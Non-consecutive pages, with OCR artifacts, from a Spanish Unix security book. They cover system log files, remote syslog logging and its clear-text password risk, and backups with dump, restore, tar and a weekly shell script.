Jan 24 18:09:54 anita unix: avail mem = 51167232
Jan 24 18:09:54 anita unix: root nexus = i86pc
Jan 24 18:09:54 anita unix: isa0 at root
Jan 24 18:09:54 anita unix: pci0 at root: space 0 offset 0
Jan 24 18:09:54 anita unix: IDE device at targ 0, lun 0 lastlun 0x0
Jan 24 18:09:54 anita unix: model WDC WD84AA, stat 50, err 0
Jan 24 18:09:54 anita unix: cfg 0x427a, cyl 16383, hd 16, sec/trk 63
Jan 24 18:09:54 anita unix: mult1 0x8010, mult2 0x110, dwcap 0x0,
cap 0x2f00
Jan 24 18:09:54 anita unix: piomode 0x280, dmamode 0x0, advpiomode
0x3
Jan 24 18:09:54 anita unix: minpio 120, minpioflow 120
Jan 24 18:09:54 anita unix: valid 0x7, dwdma 0x7, majver 0x1e
Jan 24 18:09:54 anita unix: ata_set_feature: (0x66,0x0) failed
Jan 24 18:09:54 anita unix: ATAPI device at targ 1, lun 0 lastlun 0x0
Jan 24 18:09:54 anita unix: model CD-ROM 50X, stat 50, err 0
Jan 24 18:09:54 anita unix: cfg 0x85a0, cyl 0, hd 0, sec/trk 0
Jan 24 18:09:54 anita unix: mult1 0x0, mult2 0x0, dwcap 0x0, cap 0xf00
Jan 24 18:09:54 anita unix: piomode 0x400, dmamode 0x200, advpiomode](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-110-320.jpg)
![6.4. ALGUNOS ARCHIVOS DE LOG 93
0x3
Jan 24 18:09:54 anita unix: minpio 227, minpioflow 120
Jan 24 18:09:54 anita unix: valid 0x6, dwdma 0x107, majver 0x0
Jan 24 18:09:54 anita unix: PCI-device: ata@0, ata0
Jan 24 18:09:54 anita unix: ata0 is /pci@0,0/pci-ide@7,1/ata@0
Jan 24 18:09:54 anita unix: Disk0: <Vendor ’Gen-ATA ’ Product ’WDC WD84AA ’>
Jan 24 18:09:54 anita unix: cmdk0 at ata0 target 0 lun 0
Jan 24 18:09:54 anita unix: cmdk0 is /pci@0,0/pci-ide@7,1/ata@0/cmdk@0,0
Jan 24 18:09:54 anita unix: root on /pci@0,0/pci-ide@7,1/ide@0/cmdk@0,0:a
fstype ufs
Jan 24 18:09:54 anita unix: ISA-device: asy0
Jan 24 18:09:54 anita unix: asy0 is /isa/asy@1,3f8
Jan 24 18:09:54 anita unix: ISA-device: asy1
Jan 24 18:09:54 anita unix: asy1 is /isa/asy@1,2f8
Jan 24 18:09:54 anita unix: ISA-device: asy2
Jan 24 18:09:54 anita unix: asy2 is /isa/pnpSUP,1670@pnpSUP,1670,7ec2
Jan 24 18:09:54 anita unix: Number of console virtual screens = 13
Jan 24 18:09:54 anita unix: cpu 0 initialization complete - online
Jan 24 18:09:54 anita unix: dump on /dev/dsk/c0d0s1 size 86 MB
Jan 24 18:09:55 anita unix: pseudo-device: pm0
Jan 24 18:09:55 anita unix: pm0 is /pseudo/pm@0
Jan 24 18:09:56 anita unix: pseudo-device: vol0
Jan 24 18:09:56 anita unix: vol0 is /pseudo/vol@0
Jan 24 18:09:57 anita icmpinfo: started, PID=213.
Jan 24 18:09:57 anita unix: sd1 at ata0:
Jan 24 18:09:57 anita unix: target 1 lun 0
Jan 24 18:09:57 anita unix: sd1 is /pci@0,0/pci-ide@7,1/ata@0/sd@1,0
Jan 24 18:10:03 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1
[localhost] > 127.0.0.1 [localhost] sp=1664 dp=3200 seq=0x002e0000 sz=74(+20)
Jan 24 18:10:03 anita unix: ISA-device: fdc0
Jan 24 18:10:03 anita unix: fd0 at fdc0
Jan 24 18:10:03 anita unix: fd0 is /isa/fdc@1,3f0/fd@0,0
Jan 24 18:10:04 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1
[localhost] > 127.0.0.1 [localhost] sp=2944 dp=161 seq=0x00420000 sz=92(+20)
Jan 24 18:10:05 anita unix: ISA-device: asy0
Jan 24 18:10:05 anita unix: asy0 is /isa/asy@1,3f8
Jan 24 18:10:05 anita unix: ISA-device: asy1
Jan 24 18:10:05 anita unix: asy1 is /isa/asy@1,2f8
Jan 24 18:10:05 anita unix: ISA-device: asy2
Jan 24 18:10:05 anita unix: asy2 is /isa/pnpSUP,1670@pnpSUP,1670,7ec2
an 24 18:10:08 anita icmpinfo: ICMP_Dest_Unreachable[Port] < 127.0.0.1
[localhost] > 127.0.0.1 [localhost] sp=32780 dp=162 seq=0x00370000 sz=83(+20)
Jan 24 18:10:35 anita unix: pseudo-device: xsvc0
Jan 24 18:10:35 anita unix: xsvc0 is /pseudo/xsvc@0
anita:/#
6.4.3 wtmp
Este archivo es un fichero binario (no se puede leer su contenido directamente volc´ndolo con cat
a
o similares) que almacena informaci´n relativa a cada conexi´n y desconexi´n al sistema. Podemos
o o o
ver su contenido con ´rdenes como last:
o
anita:/# last -10
toni pts/11 localhost Mon Mar 6 11:07 - 11:07 (00:00)
toni pts/11 rosita Sun Mar 5 04:22 - 04:25 (00:03)
ftp ftp andercheran.aiin Sun Mar 5 02:30 still logged in
ftp ftp andercheran.aiin Sun Mar 5 00:28 - 02:30 (02:01)
ftp ftp anita Thu Mar 2 03:02 - 00:28 (2+21:25)](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-111-320.jpg)
![96 CAP´
ITULO 6. AUDITOR´ DEL SISTEMA
IA
6.4.10 debug
En este archivo de texto se registra informaci´n de depuraci´n (de debug) de los programas que se
o o
ejecutan en la m´quina; esta informaci´n puede ser enviada por las propias aplicaciones o por el
a o
n´cleo del sistema operativo:
u
luisa:~# tail -8 /var/adm/debug
Dec 17 18:51:50 luisa kernel: ISO9660 Extensions: RRIP_1991A
Dec 18 08:15:32 luisa sshd[3951]: debug: sshd version 1.2.21
[i486-unknown-linux]
Dec 18 08:15:32 luisa sshd[3951]: debug: Initializing random number
generator; seed file /etc/ssh_random_seed
Dec 18 08:15:32 luisa sshd[3951]: debug: inetd sockets after dupping: 7, 8
Dec 18 08:15:34 luisa sshd[3951]: debug: Client protocol version 1.5; client
software version 1.2.21
Dec 18 08:15:34 luisa sshd[3951]: debug: Calling cleanup 0x800cf90(0x0)
Dec 18 16:33:59 luisa kernel: VFS: Disk change detected on device 02:00
Dec 18 23:41:12 luisa identd[2268]: Successful lookup: 1593 , 22 : toni.users
luisa:~#
6.5 Logs remotos
El demonio syslog permite f´cilmente guardar registros en m´quinas remotas; de esta forma se
a a
pretende que, aunque la seguridad de un sistema se vea comprometida y sus logs sean modificados
se puedan seguir registrando las actividades sospechosas en una m´quina a priori segura. Esto se
a
consigue definiendo un ‘LOGHOST’ en lugar de un archivo normal en el fichero /etc/syslogd.conf
de la m´quina de la que nos interesa guardar informaci´n; por ejemplo, si queremos registrar toda
a o
la informaci´n de prioridad info y notice en la m´quina remota rosita, lo indicaremos de la
o a
siguiente forma:
*.=info;*.=notice @rosita
Tras modificar /etc/syslogd.conf hacemos que el demonio relea su fichero de configuraci´n en-
o
vi´ndole la se˜al sighup (por ejemplo, con kill).
a n
Por su parte, en el host donde deseemos almacenar los logs, tenemos que tener definido el puerto
syslog en /etc/services y ejecutar syslogd con el par´metro ‘-r’ para que acepte conexiones
a
a trav´s de la red:
e
rosita:~# grep syslog /etc/services
syslog 514/udp
rosita:~# ps xua|grep syslogd
root 41 0.0 0.4 852 304 ? S Mar21 0:01 /usr/sbin/syslogd
rosita:~# kill -TERM 41
rosita:~# syslogd -r
rosita:~#
A partir de ese momento todos los mensajes generados en la m´quina origen se enviar´n a la
a a
destino y se registrar´n seg´n las reglas de esta, en un fichero (lo habitual), en un dispositivo. . . o
a u
incluso se reenviar´n a otra m´quina (en este caso hemos de tener cuidado con los bucles); si
a a
suponemos que estas reglas, en nuestro caso, registran los mensajes de la prioridad especificada
antes en /var/adm/messages, en este archivo aparecer´n entradas de la m´quina que ha enviado
a a
la informaci´n:
o
rosita:~# tail -3 /var/adm/messages
Mar 23 07:43:37 luisa syslogd 1.3-3: restart.
Mar 23 07:43:46 luisa in.telnetd[7509]: connect from amparo
Mar 23 07:57:44 luisa -- MARK --
rosita:~#](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-114-320.jpg)
![6.5. LOGS REMOTOS 97
Esto, que en muchas situaciones es muy recomendable, si no se realiza correctamente puede incluso
comprometer la seguridad de la m´quina que guarda registros en otro equipo: por defecto, el
a
tr´fico se realiza en texto claro, por lo que cualquier atacante con un sniffer entre las dos m´quinas
a a
puede tener acceso a informaci´n importante que habr´ que mantener en secreto; imaginemos
o ıa
una situaci´n muy habitual: un usuario que teclea su password cuando el sistema le pide el login.
o
Evidentemente, esto generar´ un mensaje de error que syslogd registrar´; este mensaje ser´ similar
a a a
a este (Linux Slackware 4):
Mar 23 05:56:56 luisa login[6997]: invalid password for ‘UNKNOWN’
on ‘ttyp5’ from ‘amparo’
Pero, ¿qu´ suceder´ si en lugar de ‘UNKNOWN’ el sistema almacenara el nombre de usuario que se
e ıa
ha introducido, algo que hacen muchos clones de Unix? En esta situaci´n el mensaje ser´ muy
o ıa
parecido al siguiente (Linux Red Hat 6.1):
Mar 23 05:59:15 rosita login[3582]: FAILED LOGIN 1 FROM amparo FOR
5k4@b&-, User not known to the underlying authentication module
Como podemos ver se registrar´ una contrase˜a de usuario, contrase˜a que estamos enviando a
ıa n n
la m´quina remota en texto claro a trav´s de la red; evidentemente, es un riesgo que no podemos
a e
correr. Quiz´s alguien pueda pensar que una clave por s´ sola no representa mucho peligro, ya que
a ı
el atacante no conoce el nombre de usuario en el sistema. De ninguna forma: el pirata s´lo tiene que
o
esperar unos instantes, porque cuando el usuario teclee su login y su password correctamente (en
principio, esto suceder´ poco despu´s de equivocarse, recordemos que el usuario trata de acceder a
a e
su cuenta) el sistema generar´ un mensaje indicando que ese usuario (con su nombre) ha entrado
a
al sistema1 .
Para evitar este problema existen dos aproximaciones: o bien registramos logs en un equipo direc-
tamente conectado al nuestro, sin emitir tr´fico al resto de la red, o bien utilizamos comunicaciones
a
cifradas (por ejemplo con ssh) para enviar los registros a otro ordenador. En el primer caso s´loo
necesitamos un equipo con dos tarjetas de red, una por donde enviar el tr´fico hacia la red local
a
y la otra para conectar con la m´quina donde almacenamos los logs, que s´lo ser´ accesible desde
a o a
nuestro equipo y que no ha de tener usuarios ni ofrecer servicios; no es necesaria una gran potencia
de c´lculo: podemos aprovechar un viejo 386 o 486 con Linux o FreeBSD para esta tarea.
a
El segundo caso, utilizar comunicaciones cifradas para guardar registros en otro equipo de la red, re-
quiere algo m´s de trabajo; aqu´ no es estrictamente necesario que la m´quina est´ aislada del resto
a ı a e
de la red, ya que la transferencia de informaci´n se va a realizar de forma cifrada, consiguiendo que
o
un potencial atacante no obtenga ning´n dato comprometedor analizando el tr´fico; evidentemente,
u a
aunque no est´ aislado, es fundamental que el sistema donde almacenamos los logs sea seguro. Para
e
enviar un log cifrado a una m´quina remota podemos utilizar, como hemos dicho antes, ssh unido
a
a las facilidades que ofrece syslogd; si lo hacemos as´ lo unico que necesitamos es el servidor
ı, ´
sshd en la m´quina destino y el cliente ssh en la origen. Por ejemplo, imaginemos que queremos
a
utilizar a rosita para almacenar una copia de los registros generados en luisa conforme se vayan
produciendo; en este caso vamos a enviar logs a un fifo con nombre, desde donde los cifraremos con
ssh y los enviaremos al sistema remoto a trav´s de la red. Lo primero que necesitamos hacer es
e
crear un fichero de tipo tuber´ en la m´quina origen, por ejemplo con mknod o mkfifo:
ıa a
luisa:~# mknod /var/run/cifra p
luisa:~# chmod 0 /var/run/cifra
luisa:~# ls -l /var/run/cifra
p--------- 1 root root 0 May 4 05:18 /var/run/cifra|
luisa:~#
Este es el archivo al que enviaremos desde syslogd los registros que nos interesen, por ejemplo los de
prioridad warn; hemos de modificar /etc/syslog.conf para a˜adirle una l´
n ınea como la siguiente:
1 Este comportamiento es configurable desde /etc/login.defs, como vemos en el cap´
ıtulo dedicado a la seguridad
en Linux.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-115-320.jpg)
![104 CAP´
ITULO 7. COPIAS DE SEGURIDAD
Cintas magn´ticas
e
Las cintas magn´ticas han sido durante a˜os (y siguen siendo en la actualidad) el dispositivo de
e n
backup por excelencia. Las m´s antiguas, las cintas de nueve pistas, son las que mucha gente imagina
a
al hablar de este medio: un elemento circular con la cinta enrollada en ´l; este tipo de dispositivos
e
se utiliz´ durante mucho tiempo, pero en la actualidad est´ en desuso, ya que a pesar de su alta
o a
fiabilidad y su relativa velocidad de trabajo, la capacidad de este medio es muy limitada (de hecho,
las m´s avanzadas son capaces de almacenar menos de 300 MB., algo que no es suficiente en la
a
mayor parte de sistemas actuales).
Despu´s de las cintas de 9 pistas aparecieron las cintas de un cuarto de pulgada (denominadas
e
qic), mucho m´s peque˜as en tama˜o que las anteriores y con una capacidad m´xima de varios
a n n a
Gigabytes (aunque la mayor parte de ellas almacenan menos de un Giga); se trata de cintas m´s a
baratas que las de 9 pistas, pero tambi´n m´s lentas. El medio ya no va descubierto, sino que va
e a
cubierto de una envoltura de pl´stico.
a
A finales de los ochenta aparece un nuevo modelo de cinta que releg´ a las cintas qic a un se-
o
gundo plano y que se ha convertido en el medio m´s utilizado en la actualidad: se trata de las
a
cintas de 8mm., dise˜adas en su origen para almacenar v´
n ıdeo. Estas cintas, del tama˜o de una
n
cassette de audio, tienen una capacidad de hasta cinco Gigabytes, lo que las hace perfectas para la
mayor´ de sistemas: como toda la informaci´n a salvaguardar cabe en un mismo dispositivo, el
ıa o
operador puede introducir la cinta en la unidad del sistema, ejecutar un sencillo shellscript, y dejar
que el backup se realice durante toda la noche; al d´ siguiente no tiene m´s que verificar que no
ıa a
ha habido errores, retirar la cinta de la unidad, y etiquetarla correctamente antes de guardarla. De
esta forma se consigue que el proceso de copia de seguridad sea sencillo y efectivo.
No obstante, este tipo de cintas tiene un grave inconveniente: como hemos dicho, originalmente
estaban dise˜adas para almacenar v´
n ıdeo, y se basan en la misma tecnolog´ para registrar la infor-
ıa
maci´n. Pero con una importante diferencia ([P+ 94]): mientras que perder unos bits de la cinta
o
donde hemos grabado los mejores momentos de nuestra ultima fiesta no tiene mucha importancia, si
´
esos mismos bits los perdemos de una cinta de backup el resto de su contenido puede resultar inservi-
ble. Es m´s, es probable que despu´s de unos cuantos usos (incluidas las lecturas) la cinta se da˜e
a e n
irreversiblemente. Para intentar solucionar estos problemas aparecieron las cintas dat, de 4mm.,
dise˜adas ya en origen para almacenar datos; estos dispositivos, algo m´s peque˜os que las cintas
n a n
de 8mm. pero con una capacidad similar, son el mejor sustituto de las cintas antiguas: son mucho
m´s resistentes que ´stas, y adem´s relativamente baratas (aunque algo m´s caras que las de 8mm.).
a e a a
Hemos dicho que en las cintas de 8mm. (y en las de 4mm.) se pueden almacenar hasta 5 GB.
de informaci´n. No obstante, algunos fabricantes anuncian capacidades de hasta 14 GB. utilizando
o
compresi´n hardware, sin dejar muy claro si las cintas utilizadas son est´ndar o no ([Fri95]); evi-
o a
dentemente, esto puede llevarnos a problemas de los que antes hemos comentado: ¿qu´ sucede si
e
necesitamos recuperar datos y no disponemos de la unidad lectora original? Es algo vital que nos
aseguremos la capacidad de una f´cil recuperaci´n en caso de p´rdida de nuestros datos (este es
a o e
el objetivo de los backups al fin y al cabo), por lo que quiz´s no es conveniente utilizar esta com-
a
presi´n hardware a no ser que sea estrictamente necesario y no hayamos podido aplicar otra soluci´n.
o o
CD-ROMs
En la actualidad s´lo se utilizan cintas magn´ticas en equipos antiguos o a la hora de almacenar
o e
grandes cantidades de datos – del orden de Gigabytes. Hoy en d´ muchas m´quinas Unix poseen
ıa, a
unidades grabadoras de CD-ROM, un hardware barato y, lo que es m´s importante, que utiliza
a
dispositivos de muy bajo coste y con una capacidad de almacenamiento suficiente para muchos sis-
temas: con una unidad grabadora, podemos almacenar m´s de 650 Megabytes en un CD-ROM que
a
cuesta menos de 150 pesetas. Por estos motivos, muchos administradores se decantan por realizar
sus copias de seguridad en uno o varios CD-ROMs; esto es especialmente habitual en estaciones de
trabajo o en PCs de sobremesa corriendo alg´n clon de Unix (Linux, Solaris o FreeBSD por regla
u
general), donde la cantidad de datos a salvaguardar no es muy elevada y se ajusta a un par de
unidades de CD, cuando no a una sola.](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-122-320.jpg)
![106 CAP´
ITULO 7. COPIAS DE SEGURIDAD
Opci´n
o Acci´n realizada
o Argumento
0–9 Nivel de la copia de seguridad NO
u Actualiza /etc/dumpdates al finalizar el backup NO
f Indica una cinta diferente de la usada por defecto S´
I
b Tama˜o de bloque
n S´
I
c Indica que la cinta destino es un cartucho NO
W Ignora todas las opciones excepto el nivel del backup NO
Tabla 7.2: Opciones de la orden dump
dump opciones argumentos fs
donde ‘opciones’ son las opciones de la copia de seguridad, ‘argumentos’ son los argumentos
de dichas opciones, y ‘fs’ es el sistema de ficheros a salvaguardar. Se trata de una sintaxis algo
peculiar: mientras que lo habitual en Unix es especificar cada argumento a continuaci´n de la op-
o
ci´n adecuada (por ejemplo, ‘find . -perm 700 -type f’ indica un argumento ‘700’ para la
o
opci´n ‘perm’ y uno ‘f’ para ‘type’), en la orden dump primero especificamos toda la lista de
o
opciones y a continuaci´n todos sus argumentos; no todas las opciones necesitan un argumento, y
o
adem´s la lista de argumentos tiene que corresponderse exactamente, en orden y n´mero, con las
a u
opciones que los necesitan (por ejemplo, si ‘find’ tuviera una sintaxis similar, la orden anterior se
habr´ tecleado como ‘find . -perm -type 700 f’). AIX y Linux son los unicos Unices donde
ıa ´
la sintaxis de dump (recordemos que en el primero se denomina backup) es la habitual.
Las opciones de ‘dump’ m´s utilizadas son las que se muestran en la tabla 7.2; en las p´ginas
a a
man de cada clon de Unix se suelen incluir recomendaciones sobre par´metros espec´
a ıficos para
modelos de cintas determinados, por lo que como siempre es m´s que recomendable su consulta.
a
Fij´ndonos en la tabla, podemos ver que la opci´n ‘u’ actualiza el archivo /etc/dumpdates tras
a o
realizar una copia de seguridad con ´xito; es conveniente que este archivo exista antes de utilizar
e
dump por primera vez (podemos crearlo con la orden touch), ya que si no existe no se almacenar´ a
informaci´n sobre las copias de seguridad de cada sistema de ficheros (informaci´n necesaria, por
o o
ejemplo, para poder realizar backups progresivos). En este archivo dump – la propia orden lo hace,
el administrador no necesita modificar el archivo a mano. . . y no debe hacerlo – registra informaci´no
de las copias de cada sistema de archivos, su nivel, y la fecha de realizaci´n, de forma que su aspecto
o
puede ser similar al siguiente:
anita:~# cat /etc/dumpdates
/dev/dsk/c0d0s6 0 Thu Jun 22 05:34:20 CEST 2000
/dev/dsk/c0d0s7 2 Wed Jun 21 02:53:03 CEST 2000
anita:~#
El uso de dump puede ser excesivamente complejo, especialmente en sistemas antiguos donde es
incluso necesario especificar la densidad de la cinta en bytes por pulgada o su longitud en pies;
no obstante, hoy en d´ la forma m´s habitual de invocar a esta orden es ‘dump [1-9]ucf cinta
ıa a
fs’, es decir, una copia de seguridad del sistema de ficheros recibido como argumento, de un
determinado nivel y sobre la unidad de cinta especificada. Por ejemplo para realizar una copia de
seguridad completa sobre la unidad de cinta /dev/rmt de la partici´n l´gica /dev/dsk/c0d0s7, en
o o
Solaris podemos utilizar la orden siguiente (podemos ver que nos muestra mucha informaci´n sobre
o
el progreso de nuestra copia de seguridad en cada momento):
anita:~# ufsdump 0cuf /dev/rmt /dev/dsk/c0d0s7
DUMP: Date of this level 0 dump: Thu Jun 22 10:03:28 2000
DUMP: Date of last level 0 dump: the epoch
DUMP: Dumping /dev/dsk/c0d0s7 (/export/home) to /dev/rmt
DUMP: mapping (Pass I) [regular files]
DUMP: mapping (Pass II) [directories]
DUMP: estimated 24523 blocks (118796KB)
DUMP: Writing 63 Kilobyte records](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-124-320.jpg)
![´
7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 107
Opci´n
o Acci´n realizada
o Argumento
r Restaura la cinta completa NO
f Indica el dispositivo o archivo donde est´ el backup
a S´
I
i Modo interactivo NO
x Extrae los archivos y directorios desde el directorio actual NO
t Imprime los nombres de los archivos de la cinta NO
Tabla 7.3: Opciones de la orden restore
DUMP: dumping (Pass III) [directories]
DUMP: dumping (Pass IV) [regular files]
DUMP: level 0 dump on Thu Jun 22 10:05:31 CEST 2000
DUMP: 24550 blocks (118927KB) on 1 volume
DUMP: DUMP IS DONE
anita:~#
Para realizar copias remotas, como hemos dicho antes, no tenemos m´s que anteponer el nombre
a
del sistema donde deseemos realizar el volcado al nombre del dispositivo donde se va a almacenar,
separado de ´ste por el car´cter ‘:’; opcionalmente se puede indicar el nombre de usuario en el
e a
sistema remoto, separ´ndolo del nombre de m´quina por ‘@’:
a a
anita:~# ufsdump 0cuf toni@luisa:/dev/st0 /dev/dsk/c0d0s7
Si estamos utilizando rdump, hemos de tener definido un nombre de m´quina denominado
a
‘dumphost’ en nuestro archivo /etc/hosts, que ser´ el sistema donde se almacene la copia remo-
a
ta. De cualquier forma (usemos dump, ufsdump o rdump), el host remoto ha de considerarnos como
una m´quina de confianza (a trav´s de /etc/hosts.equiv o .rhosts), con las consideraciones de
a e
seguridad que esto implica.
¿C´mo restaurar los backups realizados con dump? Para esta tarea se utiliza la utilidad restore
o
(ufsrestore en Solaris), capaz de extraer ficheros individuales, directorios o sistemas de archivos
completos. La sintaxis de esta orden es
restore opciones argumentos archivos
donde ‘opciones’ y ‘argumentos’ tienen una forma similar a ‘dump’ (es decir, toda la lista de
opciones seguida de toda la lista de argumentos de las mismas, excepto en AIX y Linux, donde la
notaci´n es la habitual), y ‘archivos’ evidentemente representa una lista de directorios y ficheros
o
para restaurar. En la tabla 7.3 se muestra un resumen de las opciones m´s utilizadas. Por ejemplo,
a
imaginemos que deseamos restaurar varios archivos de un backup guardado en el fichero ‘backup’;
en primer lugar podemos consultar el contenido de la cinta con una orden como la siguiente (en
Linux):
luisa:~# restore -t -f backup>contenido
Level 0 dump of /home on luisa:/dev/hda3
Label: none
luisa:~# cat contenido|more
Dump date: Fri Jun 23 06:01:26 2000
Dumped from: the epoch
2 .
11 ./lost+found
30761 ./lost+found/#30761
30762 ./lost+found/#30762
30763 ./lost+found/#30763
30764 ./lost+found/#30764
30765 ./lost+found/#30765
30766 ./lost+found/#30766
30767 ./lost+found/#30767](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-125-320.jpg)
![108 CAP´
ITULO 7. COPIAS DE SEGURIDAD
4097 ./ftp
8193 ./ftp/bin
8194 ./ftp/bin/compress
8195 ./ftp/bin/cpio
8196 ./ftp/bin/gzip
8197 ./ftp/bin/ls
8198 ./ftp/bin/sh
8199 ./ftp/bin/tar
8200 ./ftp/bin/zcat
12289 ./ftp/etc
12290 ./ftp/etc/group
Broken pipe
luisa:~#
Una vez que conocemos el contenido de la copia de seguridad – y por tanto el nombre del archivo
o archivos a restaurar – podemos extraer el fichero que nos interese con una orden como
luisa:~# restore -x -f backup ./ftp/bin/tar
You have not read any tapes yet.
Unless you know which volume your file(s) are on you should start
with the last volume and work towards the first.
Specify next volume #: 1
set owner/mode for ’.’? [yn] n
luisa:~# ls -l ftp/bin/tar
---x--x--x 1 root root 110668 Mar 21 1999 ftp/bin/tar
luisa:~#
Como podemos ver, la extracci´n se ha realizado a partir del directorio de trabajo actual; si
o
quisi´ramos extraer archivos en su ubicaci´n original deber´
e o ıamos hacerlo desde el directorio ade-
cuado, o, en algunas versiones de restore, especificar dicho directorio en la l´
ınea de ´rdenes.
o
Una opci´n muy interesante ofrecida por restore es la posibilidad de trabajar en modo inter-
o
activo, mediante la opci´n ‘i’; en este modo, al usuario se le ofrece un prompt desde el cual puede,
o
por ejemplo, listar el contenido de una cinta, cambiar de directorio de trabajo o extraer archivos.
El siguiente ejemplo (tambi´n sobre Linux) ilustra esta opci´n:
e o
luisa:~# restore -i -f backup
restore > help
Available commands are:
ls [arg] - list directory
cd arg - change directory
pwd - print current directory
add [arg] - add ‘arg’ to list of files to be extracted
delete [arg] - delete ‘arg’ from list of files to be extracted
extract - extract requested files
setmodes - set modes of requested directories
quit - immediately exit program
what - list dump header information
verbose - toggle verbose flag (useful with ‘‘ls’’)
help or ‘?’ - print this list
If no ‘arg’ is supplied, the current directory is used
restore > ls
.:
ftp/ httpd/ httpsd/ lost+found/ samba/ toni/
restore > add httpd
restore > extract
You have not read any tapes yet.
Unless you know which volume your file(s) are on you should start](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-126-320.jpg)
![´
7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 109
Opci´n
o Acci´n realizada
o
c Crea un contenedor
x Extrae archivos de un contenedor
t Testea los archivos almacenados en un contenedor
r A˜ade archivos al final de un contenedor
n
v Modo verbose
f Especifica el nombre del contenedor
Z Comprime o descomprime mediante compress/uncompress
z Comprime o descomprime mediante gzip
p Conserva los permisos de los ficheros
Tabla 7.4: Opciones de la orden tar
with the last volume and work towards the first.
Specify next volume #: 1
set owner/mode for ’.’? [yn] n
restore > quit
luisa:~#
Como podemos ver, hemos consultado el contenido de la copia de seguridad, a˜adido el directorio
n
httpd/ a la lista de ficheros a extraer (inicialmente vacia), y extra´ dicho directorio a partir del
ıdo
actual. Este uso de restore proporciona una gran comodidad y facilidad de uso, ya que las ´rdenes
o
en modo interactivo son muy sencillas.
7.3.2 La orden tar
La utilidad tar (Tape Archiver) es una herramienta de f´cil manejo disponible en todas las ver-
a
siones de Unix que permite volcar ficheros individuales o directorios completos en un unico fichero;
´
inicialmente fu´ dise˜ada para crear archivos de cinta (esto es, para transferir archivos de un disco a
e n
una cinta magn´tica y viceversa), aunque en la actualidad casi todas sus versiones pueden utilizarse
e
para copiar a cualquier dipositivo o fichero, denominado ‘contenedor’. Su principal desventaja es
que, bajo ciertas condiciones, si falla una porci´n del medio (por ejemplo, una cinta) se puede
o
perder toda la copia de seguridad; adem´s, tar no es capaz de realizar por s´ mismo m´s que copias
a ı a
de seguridad completas, por lo que hace falta un poco de programaci´n shellscripts para realizar
o
copias progresivas o diferenciales.
En la tabla 7.4 se muestran las opciones de tar m´s habituales; algunas de ellas no est´n disponibles
a a
en todas las versiones de tar, por lo que es recomendable consultar la p´gina del manual de esta
a
orden antes de utilizarla. Si la implementaci´n de tar que existe en nuestro sistema no se ajusta a
o
nuestras necesidades, siempre podemos utilizar la versi´n de gnu (http://www.gnu.org/), quiz´s
o a
la m´s completa hoy en d´ En primer lugar debemos saber c´mo crear contenedores con los
a ıa. o
archivos deseados; por ejemplo, imaginemos que deseamos volcar todo el directorio /export/home/
a la unidad de cinta /dev/rmt/0. Esto lo conseguimos con la siguiente orden:
anita:~# tar cvf /dev/rmt/0 /export/home/
Como podemos ver, estamos especificando juntas las diferentes opciones necesarias para hacer la
copia de seguridad de los directorios de usuario; la opci´n ‘v’ no ser´ necesaria, pero es util para
o ıa ´
ver un listado de lo que estamos almacenando en la cinta. En muchas situaciones tambi´n resulta
e
util comprimir la informaci´n guardada (tar no comprime, s´lo empaqueta); esto lo conseguir´
´ o o ıamos
con las opciones ‘cvzf’.
Si en lugar de (o aparte de) un unico directorio con todos sus ficheros y subdirectorios quisi´ramos
´ e
especificar m´ltiples archivos (o directorios), podemos indic´rselos uno a uno a tar en la l´
u a ınea de
comandos; as´ mismo, podemos indicar un nombre de archivo contenedor en lugar de un dispositivo.
ı
Por ejemplo, la siguiente orden crear´ el fichero /tmp/backup.tar, que contendr´ /etc/passwd y
a a
/etc/hosts*:](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-127-320.jpg)
![114 CAP´
ITULO 7. COPIAS DE SEGURIDAD
rm -f backup.tar.Z
}
if [ ! -d $DIREC ];
then
# No existe $DIREC
mkdir -p $DIREC
chmod 700 $DIREC # Por seguridad
else
rm -rf $DIREC
mkdir -p $DIREC
chmod 700 $DIREC
fi;
case $DIA in
"Mon")
# Lunes, progresiva
FILES=‘find /export/home/ -mtime 1 -print‘
hazback
;;
"Tue")
# Martes, progresiva
FILES=‘find /export/home/ -mtime 2 -print‘
hazback
;;
"Wed")
# Miercoles, progresiva
FILES=‘find /export/home/ -mtime 3 -print‘
hazback
;;
"Thu")
# Jueves, progresiva
FILES=‘find /export/home/ -mtime 4 -print‘
hazback
;;
"Fri")
# Viernes, progresiva
FILES=‘find /export/home/ -mtime 5 -print‘
hazback
;;
"Sat")
# Sabado, descansamos...
;;
"Sun")
# Domingo, copia completa de /export/home y /etc
FILES="/export/home/ /etc/"
hazback
;;
esac
Este programa determina el d´ de la semana y en funci´n de ´l realiza – o no, si es s´bado –
ıa o e a
una copia de los ficheros correspondientes (n´tese el uso de las comillas inversas en la orden find).
o
Podr´ıamos automatizarlo mediante la facilidad cron de nuestro sistema para que se ejecute, por
ejemplo, cada d´ a las tres del mediod´ (una hora en la que la actividad del sistema no ser´ muy
ıa ıa a
alta); de esta forma, como administradores, s´lo deber´
o ıamos preocuparnos por cambiar las cintas
cada d´ y dejar una preparada para el fin de semana. Si decidimos planificarlo para que se ejecute
ıa,
de madrugada, hemos de tener en cuenta que el backup de un lunes de madrugada, antes de llegar
al trabajo, puede sobreescribir el completo, realizado el domingo de madrugada, por lo que habr´ ıa](https://image.slidesharecdn.com/unixsec-120626141241-phpapp02/85/Unixsec-132-320.jpg)
![Cap´
ıtulo 8
Autenticaci´n de usuarios
o
8.1 Introducci´n y conceptos b´sicos
o a
